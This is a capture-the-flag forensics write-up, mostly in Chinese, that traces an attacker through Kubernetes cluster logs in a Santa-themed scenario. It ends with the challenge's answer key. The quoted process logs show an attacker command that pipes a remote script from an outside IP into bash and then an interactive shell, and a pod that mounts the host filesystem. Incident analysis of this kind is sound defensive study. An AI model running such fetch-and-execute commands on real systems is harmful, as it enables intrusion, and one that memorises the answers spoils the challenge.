Scenario
Santa’s North Pole Operations have implemented the “Cookie Consumption Scheduler” (CCS), a crucial service running on a Kubernetes cluster. This service ensures Santa’s cookie and milk intake is balanced during his worldwide deliveries, optimizing his energy levels and health.
sha256sum CookieConsumption.zip
87728bbc7ede12b5511855c96f2d37d70f18f928fe536bfca02fae5593ef362d CookieConsumption.zip
unzip -q CookieConsumption.zip -d CookieConsumption
[CookieConsumption.zip] all_users.txt password:
tree -hL 2
[4.0K] .
├── [4.0K] CookieConsumption
│ ├── [ 250] all_users.txt
│ ├── [ 437] cluster-info.log
│ ├── [ 13K] configmaps.yaml
│ ├── [ 923] cron.txt
│ ├── [4.0K] default
│ ├── [ 25K] host-processes.log
│ ├── [4.0K] host_logs
│ ├── [4.0K] kube-node-lease
│ ├── [4.0K] kube-public
│ ├── [4.0K] kube-system
│ ├── [ 155] namespaces.log
│ ├── [ 306] nodes-info.log
│ ├── [1.8K] open-ports.log
│ ├── [7.0K] rolebindings.yaml
│ ├── [4.2K] roles.yaml
│ ├── [390K] secrets.yaml
│ └── [4.0K] system_logs
└── [3.3M] CookieConsumption.zip
8 directories, 12 files
Initial Analysis
附件给出的是 kubernetes 集群的日志及配置信息,无需进一步处理,不过建议查看的过程中把空文件删掉。
Task 1
How many replicas are configured for the flask-app deployment?
查看 default 命名空间的部署日志
Name: flask-app
Namespace: default
CreationTimestamp: Thu, 07 Nov 2024 17:45:17 +0000
Labels: <none>
Annotations: deployment.kubernetes.io/revision: 1
Selector: app=flask-app
Replicas: 3 desired | 3 updated | 3 total | 3 available | 0 unavailable
StrategyType: RollingUpdate
MinReadySeconds: 0
RollingUpdateStrategy: 25% max unavailable, 25% max surge
...
其中第七行 Replicas 字段信息可以看到副本的数量是 3 份。
Task 2
What is the NodePort through which the flask-app is exposed?
Name: flask-app-service
Namespace: default
Labels: <none>
Annotations: <none>
Selector: app=flask-app
Type: NodePort
IP Family Policy: SingleStack
IP Families: IPv4
IP: 10.43.58.30
IPs: 10.43.58.30
Port: <unset> 5000/TCP
TargetPort: 5000/TCP
NodePort: <unset> 30000/TCP
Endpoints: 10.42.0.14:5000,10.42.0.16:5000,10.42.0.17:5000
Session Affinity: None
...
查看 default 命名空间的服务日志,可以看到 flask 服务的 5000/TCP 端口映射到外部的 30000/TCP 端口。
Task 3
What time (UTC) did the attacker first initiate fuzzing on the /system/ endpoint?
cat system_logs/node_logs/* | grep HTTP | grep '/system' | head | jq .log
---
"10.42.0.1 - - [08/Nov/2024 22:01:37] \"\u001b[35m\u001b[1mGET /system/status?service=ssh HTTP/1.1\u001b[0m\" 500 -\n"
"10.42.0.1 - - [08/Nov/2024 22:02:38] \"\u001b[35m\u001b[1mGET /system/logs?service=system HTTP/1.1\u001b[0m\" 500 -\n"
"10.42.0.1 - - [08/Nov/2024 22:02:48] \"\u001b[33mGET /system/ls HTTP/1.1\u001b[0m\" 404 -\n"
"10.42.0.1 - - [08/Nov/2024 22:02:56] \"\u001b[33mGET /system/admin HTTP/1.1\u001b[0m\" 404 -\n"
"10.42.0.1 - - [08/Nov/2024 22:04:47] \"\u001b[33mGET /system/admin HTTP/1.1\u001b[0m\" 404 -\n"
"10.42.0.1 - - [08/Nov/2024 22:06:29] \"\u001b[33mGET /system/search HTTP/1.1\u001b[0m\" 404 -\n"
"10.42.0.1 - - [08/Nov/2024 22:06:29] \"\u001b[33mGET /system/12 HTTP/1.1\u001b[0m\" 404 -\n"
"10.42.0.1 - - [08/Nov/2024 22:06:29] \"\u001b[33mGET /system/download HTTP/1.1\u001b[0m\" 404 -\n"
"10.42.0.1 - - [08/Nov/2024 22:06:29] \"\u001b[33mGET /system/ HTTP/1.1\u001b[0m\" 404 -\n"
"10.42.0.1 - - [08/Nov/2024 22:06:29] \"\u001b[33mGET /system/11 HTTP/1.1\u001b[0m\" 404 -\n"
看起来像是在目录扫描,第一个 404 响应是 /system/ls 并且与上一个请求有一些变化,时间是 2024-11-08 22:02:48
Task 4
Which endpoint did the attacker discover through fuzzing and subsequently exploit?
cat system_logs/node_logs/* | grep HTTP | grep '/system' | grep -v 404 | head | jq .log
---
"10.42.0.1 - - [08/Nov/2024 22:01:37] \"\u001b[35m\u001b[1mGET /system/status?service=ssh HTTP/1.1\u001b[0m\" 500 -\n"
"10.42.0.1 - - [08/Nov/2024 22:02:38] \"\u001b[35m\u001b[1mGET /system/logs?service=system HTTP/1.1\u001b[0m\" 500 -\n"
"10.42.0.1 - - [08/Nov/2024 22:07:47] \"\u001b[31m\u001b[1mGET /system/execute HTTP/1.1\u001b[0m\" 405 -\n"
"10.42.0.1 - - [08/Nov/2024 22:12:46] \"\u001b[31m\u001b[1mGET /system/execute HTTP/1.1\u001b[0m\" 405 -\n"
"10.42.0.1 - - [08/Nov/2024 22:15:31] \"\u001b[35m\u001b[1mPOST /system/execute HTTP/1.1\u001b[0m\" 500 -\n"
"10.42.0.1 - - [08/Nov/2024 22:15:36] \"POST /system/execute HTTP/1.1\" 200 -\n"
"10.42.0.1 - - [08/Nov/2024 22:21:18] \"POST /system/execute HTTP/1.1\" 200 -\n"
"10.42.0.1 - - [08/Nov/2024 22:24:09] \"POST /system/execute HTTP/1.1\" 200 -\n"
"10.42.0.1 - - [08/Nov/2024 22:24:29] \"POST /system/execute HTTP/1.1\" 200 -\n"
"10.42.0.1 - - [08/Nov/2024 22:24:38] \"POST /system/execute HTTP/1.1\" 200 -\n"
所以很明显攻击者发现了 /system/execute
Task 5
Which program did the attacker attempt to install to access their HTTP pages?
cat host-processes.log
---
...
root 3600 0.0 0.0 1640 1152 ? Ss Nov08 0:00 /bin/sh /usr/bin/entry
root 98203 0.0 0.0 2576 888 ? S Nov08 0:00 sh -c curl 10.129.231.112:8080 | bash
root 98205 0.0 0.0 4344 3080 ? S Nov08 0:00 bash
root 98206 0.0 0.0 2576 896 ? S Nov08 0:00 sh -i
...
攻击者使用 curl 请求他们的 HTTP 页面,来获取脚本并运行
Task 6
What is the IP address of the attacker?
从 Task 5 可以看到,攻击者的 IP 地址是:10.129.231.112
Task 7
What is the name of the pod that was compromised and used by the attacker as the initial foothold?
grep -or '/system/execute' system_logs | awk -F ':' '{print $1}' | sort -u
---
system_logs/node_logs/flask-app-77fbdcfcff-2tqgw_default_flask-app-0c6f23d9953921a31ec11074089eb67299221b05410a12185af82d8272bf1af5.log
system_logs/node_logs/flask-app-77fbdcfcff-8tbb9_default_flask-app-af49894975e23d66a72dc2d45b0bd4badda66e029a9f5fed8cf61f8308f9d09e.log
system_logs/node_logs/flask-app-77fbdcfcff-m9rh4_default_flask-app-d4ad8862696c901778b5141db44fbc7876416ada9428be77cc582623d5fee1e3.log
system_logs/node_logs/flask-app-77fbdcfcff-m9rh4_default_flask-app-dd9a4921c78403b755f6e1373a3a315426281fcfaac6b3c6e64ff0d7163d6ae2.log
grep -aonr 'curl' default/processes/default_flask-app-77fbdcfcff-*
---
default/processes/default_flask-app-77fbdcfcff-2tqgw_flask-app_process_dump.txt:62:curl
default/processes/default_flask-app-77fbdcfcff-2tqgw_flask-app_process_dump.txt:436:curl
/system/execute 是 flask-app 的日志,再从 flask-app pods 的进程信息中搜索 curl,找到第一台沦陷的 pod 是 flask-app-77fbdcfcff-2tqgw
Task 8
What is the name of the malicious pod created by the attacker?
Name: alpine
Namespace: default
Priority: 0
Service Account: default
Node: northpole/10.129.229.38
Start Time: Fri, 08 Nov 2024 22:39:47 +0000
Labels: <none>
Annotations: <none>
Status: Running
IP: 10.129.229.38
IPs:
IP: 10.129.229.38
IP: dead:beef::250:56ff:feb4:5a90
Containers:
evil:
Container ID: docker://f819d84f97e69fc0784c521760594cf1692c39bdc5fbd429f86aed07928a511c
Image: alpine:latest
Image ID: docker-pullable://alpine@sha256:beefdbd8a1da6d2915566fde36db9db0b524eb737fc57cd1367effd16dc0d06d
Port: <none>
Host Port: <none>
Command:
/bin/sh
Args:
-c
sleep 300000
State: Running
Started: Fri, 08 Nov 2024 22:39:51 +0000
Ready: True
Restart Count: 0
Environment: <none>
Mounts:
/mnt from hostfs (rw)
/var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-n9bp9 (ro)
...
从 pod.log 中可以看到 alpine 这个 pod 应该就是攻击者创建的,但是答案不对,于是尝试其他组合,可以看到上文第 15 行,容器 evil 是正确答案
Task 9
What is the absolute path of the backdoor file left behind by the attacker?
cat cron.txt
---
#
# m h dom mon dow command
*/5 * * * * /opt/backdoor.sh
后门的绝对路径:/opt/backdoor.sh
Comment
整体比较简单,基本没什么大坑,第 8 问小卡一下,主要是不知道配置文件的变量作用,导致一时想不起来。
Questions
-
How many replicas are configured for the flask-app deployment?
3
-
What is the NodePort through which the flask-app is exposed?
30000/TCP
-
What time (UTC) did the attacker first initiate fuzzing on the /system/ endpoint?
2024-11-08 22:02:48
-
Which endpoint did the attacker discover through fuzzing and subsequently exploit?
/system/execute
-
Which program did the attacker attempt to install to access their HTTP pages?
curl
-
What is the IP address of the attacker?
10.129.231.112
-
What is the name of the pod that was compromised and used by the attacker as the initial foothold?
flask-app-77fbdcfcff-2tqgw
-
What is the name of the malicious pod created by the attacker?
evil
-
What is the absolute path of the backdoor file left behind by the attacker?
/opt/backdoor.sh
